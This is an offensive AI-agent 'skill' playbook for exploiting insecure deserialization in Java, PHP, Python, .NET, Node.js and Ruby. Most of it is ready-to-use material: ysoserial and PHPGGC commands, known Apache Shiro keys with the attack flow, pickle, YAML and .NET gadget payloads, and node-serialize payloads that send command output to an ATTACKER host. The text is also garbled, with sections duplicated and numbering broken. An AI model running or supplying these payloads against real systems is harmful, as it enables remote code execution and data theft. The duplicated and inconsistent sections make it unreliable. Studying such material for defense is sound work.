- SKILL: Insecure Deserialization — Expert Attack Playbook
- AI LOAD INSTRUCTION
- Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain. 0. RELATED ROUTING jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization) unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP) Advanced Reference Also load JAVA_GADGET_CHAINS.md when you need: Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.) SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r) Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains Detection fingerprints: magic bytes table by format (Java AC ED , .NET AAEAAD , Python pickle 80 0N , PHP O: , Ruby 04 08 ) 1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION? Java Serialized Objects Indicator Where to Look Hex ac ed 00 05 Raw binary in request/response body, cookies, POST params Base64 rO0AB Cookies ( rememberMe ), hidden form fields, JWT claims Content-Type: application/x-java-serialized-object HTTP headers T3/IIOP protocol traffic WebLogic ports (7001, 7002) PHP Serialized Objects Indicator Where to Look O:NUMBER:"ClassName" pattern POST body, cookies, session files a:NUMBER:{ (array) Same locations phar:// URI usage File operations accepting user-controlled paths Python Pickle Indicator Where to Look Hex 80 03 or 80 04 (protocol 3/4) Binary data in requests, message queues Base64-encoded binary blob API params, cookies, Redis values pickle.loads / pickle.load in source Code review / whitebox 2. JAVA — GADGET CHAINS AND TOOLS ysoserial — Primary Tool
Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
payload.bin
Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
Common chains to try (ordered by frequency of vulnerable dependency):
CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
Spring1, Spring2 — Spring Framework
Groovy1 — Groovy
Hibernate1 — Hibernate
JBossInterceptors1 — JBoss
Jdk7u21 — JDK 7u21 (no extra dependency)
URLDNS — DNS-only confirmation (no RCE, works everywhere)
- URLDNS — Safe Confirmation Probe
- URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
- java
- -jar
- ysoserial.jar URLDNS
- "http://UNIQUE_TOKEN.burpcollaborator.net"
- >
- probe.bin
- DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
- Commons Collections — The Classic Chain
- The vulnerability exists when
- org.apache.commons.collections
- (3.x) is on the classpath and the application calls
- readObject()
- on untrusted data.
- Key classes in the chain:
- InvokerTransformer
- →
- ChainedTransformer
- →
- TransformedMap
- → triggers
- Runtime.exec()
- during deserialization.
- Apache Shiro — rememberMe Deserialization
- Shiro uses AES-CBC to encrypt serialized Java objects in the
- rememberMe
- cookie.
- Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
- kPH+bIxk5D2deZiIxcaaaA== # most common default
- wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
- 4AvVhmFLUs0KTA3Kprsdag==
- Z3VucwAAAAAAAAAAAAAAAA==
- Attack flow
- :
- Detect: response sets
- rememberMe=deleteMe
- cookie on invalid session
- Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
- AES-CBC encrypt with known key + random IV
- Base64-encode → set as
- rememberMe
- cookie value
- Send request → server decrypts → deserializes → RCE
- DNSLog confirmation
- (before full RCE): use URLDNS chain →
- java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"
- → encrypt → set cookie → check DNSLog for hit.
- Post-fix (random key)
-
- Key may still leak via padding oracle, or another CVE (SHIRO-721).
- WebLogic Deserialization
- Multiple vectors:
- T3 protocol
- (port 7001): direct serialized object injection
- XMLDecoder
- (CVE-2017-10271): XML-based deserialization via
- /wls-wsat/CoordinatorPortType
- IIOP protocol
- alternative to T3
T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
Look for: "T3" or "WebLogic" in service banner
Java RMI Registry RMI Registry (port 1099) accepts serialized objects by design:
ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
Requires: vulnerable library on target's classpath
Works on: JDK <= 8u111 without JEP 290 deserialization filter
- JDK Version Constraints
- JDK Version
- Impact
- < 8u121
- RMI/LDAP remote class loading works
- 8u121-8u190
- trustURLCodebase=false
- for RMI; LDAP still works
- >= 8u191
- Both RMI and LDAP remote class loading blocked
- >= 8u191 bypass
- Use LDAP → return serialized gadget object (not remote class)
- 3. PHP — unserialize AND PHAR
- Magic Method Chain
- PHP deserialization triggers magic methods in order:
- __wakeup() → called immediately on unserialize()
- __destruct() → called when object is garbage-collected
- __toString() → called when object is used as string
- __call() → called for inaccessible methods
- Attack
- craft a serialized object whose __destruct() or __wakeup() triggers dangerous operations (file write, SQL query, command execution, SSRF). Serialized Object Format O : 8 : "ClassName" : 2 : { s : 4 : "prop" ; s : 5 : "value" ; s : 4 : "cmd" ; s : 2 : "id" ; } // O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES} phpMyAdmin Configuration Injection (Real-World Case) phpMyAdmin PMA_Config class reads arbitrary files via source property: action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";} PHPGGC — PHP Gadget Chain Generator
List available chains:
phpggc -l
Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id
Common chains:
Laravel/RCE1-10
Symfony/RCE1-4
Guzzle/RCE1
Monolog/RCE1-2
WordPress/RCE1
Slim/RCE1
Phar Deserialization Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called. Triggering functions (partial list): file_exists() file_get_contents() fopen() is_file() is_dir() copy() filesize() filetype() stat() include() require() getimagesize() Attack flow : Upload a valid file (e.g., JPEG with phar polyglot) Trigger file operation: file_exists("phar://uploads/avatar.jpg") PHP deserializes phar metadata → gadget chain executes
Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id 4. PYTHON — PICKLE reduce Method Python's pickle.loads() calls reduce() on objects during deserialization, which can return a callable + args: import pickle import os class Exploit : def reduce ( self ) : return ( os . system , ( "id" , ) ) payload = pickle . dumps ( Exploit ( ) )
Send payload to target that calls pickle.loads()
Analyzing Pickle Opcodes import pickletools pickletools . dis ( payload )
Shows opcodes: GLOBAL, REDUCE, etc.
Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
Common Python Deserialization Sinks pickle . loads ( user_data ) pickle . load ( file_handle ) yaml . load ( data )
PyYAML without Loader=SafeLoader
jsonpickle . decode ( data ) shelve . open ( path ) Defensive Bypass: RestrictedUnpickler Even when RestrictedUnpickler.find_class is used, check if the whitelist is too broad: class RestrictedUnpickler ( pickle . Unpickler ) : def find_class ( self , module , name ) : if module == "builtins" and name in safe_builtins : return getattr ( builtins , name ) raise pickle . UnpicklingError ( f"forbidden: { module } . { name } " ) If safe_builtins includes eval , exec , or import → still exploitable. 5. DETECTION METHODOLOGY Found binary blob or encoded object in request/cookie? ├── Java signature (ac ed / rO0AB)? │ ├── Use URLDNS probe for safe confirmation │ ├── Identify libraries (error messages, known product) │ └── Try ysoserial chains matching identified libraries │ ├── PHP signature (O:N:"...)? │ ├── Identify framework (Laravel, Symfony, WordPress) │ ├── Try PHPGGC chains for that framework │ └── Check for phar:// wrapper in file operations │ ├── Python (opaque binary, base64 blob)? │ ├── Try pickle payload with DNS callback │ └── Check if PyYAML unsafe load is used │ └── Not sure? ├── Try URLDNS payload (Java) — check DNS ├── Try PHP serialized test string └── Monitor error messages for class loading failures 6. DEFENSE AWARENESS Language Mitigation Java JEP 290 deserialization filters; whitelist allowed classes; avoid ObjectInputStream on untrusted data; use JSON/Protobuf instead PHP Avoid unserialize() on user input; use json_decode() instead; block phar:// in file operations Python Use pickle only for trusted data; use json for external input; PyYAML: always use yaml.safe_load() 7. QUICK REFERENCE — KEY PAYLOADS
Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"
PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'reduce':lambda s:(os.system,('id',))})()).hex())"
Shiro default key test
rememberMe=
- !ruby/object:Gem::Requirement
- requirements
- :
- !ruby/object:Gem::DependencyList
- type
- :
- :
- runtime
- specs
- :
- -
- !ruby/object:Gem::StubSpecification
- loaded_from
- :
- "|id"
- Note:
- YAML.safe_load
- is safe (Ruby 2.1+);
- Psych.safe_load
- also safe
- 9. .NET DESERIALIZATION
- Traffic fingerprint
- :
- BinaryFormatter: hex
- AAEAAD
- (base64
- AAEAAAD/////
- )
- ViewState: hex
- FF01
- or
- /w
- prefix
- JSON.NET:
- $type
- property in JSON
- BinaryFormatter
- (most dangerous, deprecated in .NET 5+): arbitrary type instantiation
- XmlSerializer
- :
- ObjectDataProvider
- +
- XamlReader
- chain for command execution
- <
- root
- xmlns:
- xsi
- =
- "
- http://www.w3.org/2001/XMLSchema-instance
- "
- xmlns:
- xsd
- =
- "
- http://www.w3.org/2001/XMLSchema
- "
- xmlns:
- od
- =
- "
- http://schemas.microsoft.com/powershell/2004/04
- "
- type
- =
- "
- System.Windows.Data.ObjectDataProvider
- "
- >
- <
- od:
- MethodName
- >
- Start
- </
- od:
- MethodName
- >
- <
- od:
- MethodParameters
- >
- <
- sys:
- String
- >
- cmd
- </
- sys:
- String
- >
- <
- sys:
- String
- >
- /c calc
- </
- sys:
- String
- >
- </
- od:
- MethodParameters
- >
- <
- od:
- ObjectInstance
- xsi:
- type
- =
- "
- System.Diagnostics.Process
- "
- />
- </
- root
- >
- NetDataContractSerializer
-
- similar to BinaryFormatter, full type info in XML
- LosFormatter
-
- used in ViewState, deserializes to
- ObjectStateFormatter
- JSON.NET
- :
- $type
- property enables type control →
- ObjectDataProvider
- +
- ExpandedWrapper
- chains
- {
- "$type"
- :
- "System.Windows.Data.ObjectDataProvider, PresentationFramework"
- ,
- "MethodName"
- :
- "Start"
- ,
- "MethodParameters"
- :
- {
- "$type"
- :
- "System.Collections.ArrayList"
- ,
- "$values"
- :
- [
- "cmd"
- ,
- "/c calc"
- ]
- }
- ,
- "ObjectInstance"
- :
- {
- "$type"
- :
- "System.Diagnostics.Process, System"
- }
- }
- Tool
- :
- ysoserial.net
- — generate payloads for all .NET formatters
- ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64
- ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
- POP gadgets
- :
- ObjectDataProvider
- ,
- ExpandedWrapper
- ,
- AssemblyInstaller.set_Path
- 10. NODE.JS DESERIALIZATION
- node-serialize
- :
- unserialize()
- with IIFE (Immediately Invoked Function Expression)
- Payload marker:
- $$ND_FUNC$$
- Add
- ()
- at end to auto-execute:
- {
- "rce"
- :
- "_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"
- }
- funcster
- :
- __js_function
- property →
- constructor.constructor
- to access
- process
- {
- "__js_function"
- :
- "function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"
- }
- cryo
- similar to funcster, serializes JS objects with function support RUBY DESERIALIZATION Marshal (Binary Format)
Ruby's Marshal.load is equivalent to Java's ObjectInputStream
Any class with marshal_dump/marshal_load can be a gadget
Detection: binary data starting with \x04\x08
Or hex: 0408
PoC gadget (requires vulnerable class in scope):
payload
"\x04\x08..."
hex-encoded gadget chain
Marshal . load ( payload )
triggers arbitrary code execution
YAML.load (Critical — Most Common Ruby Deser Sink)
YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects
Ruby <= 2.7.2 — Gem::Requirement chain:
Triggers via !ruby/object constructor
-
- ! ruby / object :Gem :: Requirement requirements : ! ruby / object :Gem :: DependencyList specs : - ! ruby / object :Gem :: Source current_fetch_uri : ! ruby / object :URI :: Generic path : "| id"
Ruby 2.x–3.x — Gem::Installer chain:
Uses Gem::Installer → Gem::StubSpecification → Kernel#system
-
- ! ruby / hash :Gem :: Installer i : x ! ruby / hash :Gem :: SpecFetcher i : y ! ruby / object :Gem :: Requirement requirements : ! ruby / object :Gem :: Package :: TarReader io : & 1 ! ruby / object :Net :: BufferedIO io : & 1 ! ruby / object :Gem :: Package :: TarReader :: Entry read : 0 header : "abc" debug_output : & 1 ! ruby / object :Net :: WriteAdapter socket : & 1 ! ruby / object :Gem :: RequestSet sets : ! ruby / object :Net :: WriteAdapter socket : ! ruby / module 'Kernel' method_id : :system git_set : id
<-- command to execute
method_id : :resolve
Safe alternative: YAML.safe_load (whitelist of allowed types)
Tools
elttam/ruby-deserialization
— Ruby gadget chain generator
frohoff/ysoserial
inspiration → check Ruby-specific forks
.NET DESERIALIZATION
Traffic Fingerprinting
Indicator
Serializer
Hex
00 01 00 00 00
/ Base64
AAEAAD
BinaryFormatter
Hex
FF 01
/ Base64
/w
DataContractSerializer
ViewState starts with
__VIEWSTATE
LosFormatter / ObjectStateFormatter
JSON with
$type
property
JSON.NET (Newtonsoft) TypeNameHandling
XML with
Most dangerous — arbitrary type instantiation
Tool: ysoserial.net
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64 ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\out.txt" -o base64
LosFormatter wraps BinaryFormatter — same gadgets work
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64 XmlSerializer + ObjectDataProvider < root
< ObjectDataProvider MethodName = " Start " xmlns = " http://schemas.microsoft.com/winfx/2006/xaml/presentation "
< ObjectDataProvider.MethodParameters
< sys: String xmlns: sys = " clr-namespace:System;assembly=mscorlib "
cmd.exe </ sys: String
< sys: String xmlns: sys = " clr-namespace:System;assembly=mscorlib "
/c whoami </ sys: String
</ ObjectDataProvider.MethodParameters
< ObjectDataProvider.ObjectInstance
< ProcessStartInfo xmlns = " clr-namespace:System.Diagnostics;assembly=System "
< ProcessStartInfo.FileName
cmd.exe </ ProcessStartInfo.FileName
< ProcessStartInfo.Arguments
/c whoami </ ProcessStartInfo.Arguments
</ ProcessStartInfo
</ ObjectDataProvider.ObjectInstance
</ ObjectDataProvider
</ root
JSON.NET with TypeNameHandling { "$type" : "System.Windows.Data.ObjectDataProvider, PresentationFramework" , "MethodName" : "Start" , "MethodParameters" : { "$type" : "System.Collections.ArrayList, mscorlib" , "$values" : [ "cmd.exe" , "/c whoami" ] } , "ObjectInstance" : { "$type" : "System.Diagnostics.Process, System" } } Vulnerable when TypeNameHandling is set to Auto , Objects , Arrays , or All . Tools pwntester/ysoserial.net — primary .NET deserialization payload generator Gadget chains: TypeConfuseDelegate, TextFormattingRunProperties, PSObject, ActivitySurrogateSelectorFromFile NODE.JS DESERIALIZATION node-serialize (IIFE Pattern) // node-serialize uses eval() internally // Payload uses $$ND_FUNC$$ marker + IIFE: var payload = '{"rce":"$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}' ; // The trailing () makes it an Immediately Invoked Function Expression // When unserialize() processes this, it executes the function // Full HTTP exploit (in cookie or body): { "username" : "$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()" , "email" : "test@test.com" } funcster // funcster deserializes functions via constructor.constructor pattern: { "__js_function" : "function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}" } PHP create_function + Deserialization Combo // When a PHP class uses create_function in __destruct or __wakeup: // Serialize an object where: $a = "create_function" ; $b = ";}system('id');/" ; // The lambda body becomes: function(){ ;}system('id');/ } // Closing the original function body and injecting a command // In serialized form, private properties need \0ClassName\0 prefix: O : 7 : "Noteasy" : 2 : { s : 19 : "\0Noteasy\0method_name" ; s : 15 : "create_function" ; s : 14 : "\0Noteasy\0args" ; s : 21 : ";}system('id');/*" ; } 11. RUBY DESERIALIZATION Marshal
Ruby's native serialization. Dangerous when deserializing untrusted data.
Detection: Binary data starting with \x04\x08
One-liner gadget verification (hex-encoded payload):
payload
[ "040802" ] . pack ( "H*" )
Minimal Marshal header
Marshal . load ( payload ) YAML (CVE-rich surface)
YAML.load is DANGEROUS — equivalent to eval for Ruby objects
Safe alternative: YAML.safe_load
Ruby <= 2.7.2: Gem::Requirement chain
-
- ! ruby / object :Gem :: Requirement requirements : - ! ruby / object :Gem :: DependencyList specs : - ! ruby / object :Gem :: Source uri : "| id"
Ruby 2.x-3.x: Gem::Installer chain (more complex)
Triggers: git_set → Kernel#system
-
- ! ruby / object :Gem :: Installer i : x
(Full chain available in ysoserial-ruby / blind-ruby-deserialization)
Universal detection: supply YAML that triggers DNS callback
-
- ! ruby / object :Gem :: Fetcher uri : http : / / BURP_COLLAB / Tools : elttam/ruby-deserialization , mbechler/ysoserial (Ruby variant) 12. .NET DESERIALIZATION Fingerprinting Magic Bytes Format AAEAAD (base64) / 00 01 00 00 00 (hex) BinaryFormatter FF 01 or /w (base64) ViewState (ObjectStateFormatter) < (XML opening) XmlSerializer / DataContractSerializer JSON with $type key JSON.NET (TypeNameHandling enabled) BinaryFormatter (most dangerous)
Always dangerous when deserializing untrusted data
Tool: ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64 ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw ViewState (ASP.NET)
If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"
Leak machineKey from web.config (via LFI/backup) → forge ViewState
XmlSerializer + ObjectDataProvider < root xmlns: xsi = " http://www.w3.org/2001/XMLSchema-instance " xmlns: xsd = " http://www.w3.org/2001/XMLSchema "
< ObjectDataProvider MethodName = " Start "
< ObjectInstance xsi: type = " Process "
< StartInfo
< FileName
cmd.exe </ FileName
< Arguments
/c whoami </ Arguments
</ StartInfo
</ ObjectInstance
</ ObjectDataProvider
</ root
JSON.NET ($type abuse) { "$type" : "System.Windows.Data.ObjectDataProvider, PresentationFramework" , "MethodName" : "Start" , "ObjectInstance" : { "$type" : "System.Diagnostics.Process, System" , "StartInfo" : { "$type" : "System.Diagnostics.ProcessStartInfo, System" , "FileName" : "cmd.exe" , "Arguments" : "/c whoami" } } } Vulnerable when TypeNameHandling != None in JSON deserialization settings. Tools pwntester/ysoserial.net — primary .NET gadget chain generator NotSoSecure/Blacklist3r — decrypt/forge ViewState with known machineKey 13. NODE.JS DESERIALIZATION node-serialize (IIFE injection) // Vulnerable pattern: var serialize = require ( 'node-serialize' ) ; var obj = serialize . unserialize ( userInput ) ; // Payload: IIFE (Immediately Invoked Function Expression) // The $$ND_FUNC$$ prefix signals a serialized function { "rce" : "_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()" } // Key: the () at the end causes immediate execution upon deserialization funcster // Vulnerable: funcster.deepDeserialize(userInput) // Payload uses __js_function to inject via constructor chain: { "__js_function" : "function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()" } PHP create_function + Deserialization Combo // When create_function is available and object is deserialized: // Payload creates lambda with injected code: $a = "create_function" ; $b = ";}system('id');/" ; // The lambda body becomes: function anonymous() { ;}system('id');/ } // Effective: close original body, inject command, comment out rest // In serialized form (with private property \0ClassName\0): O : 8 : "ClassName" : 2 : { s : 13 : "\0ClassName\0func" ; s : 15 : "create_function" ; s : 12 : "\0ClassName\0arg" ; s : 18 : ";}system('id');/*" ; }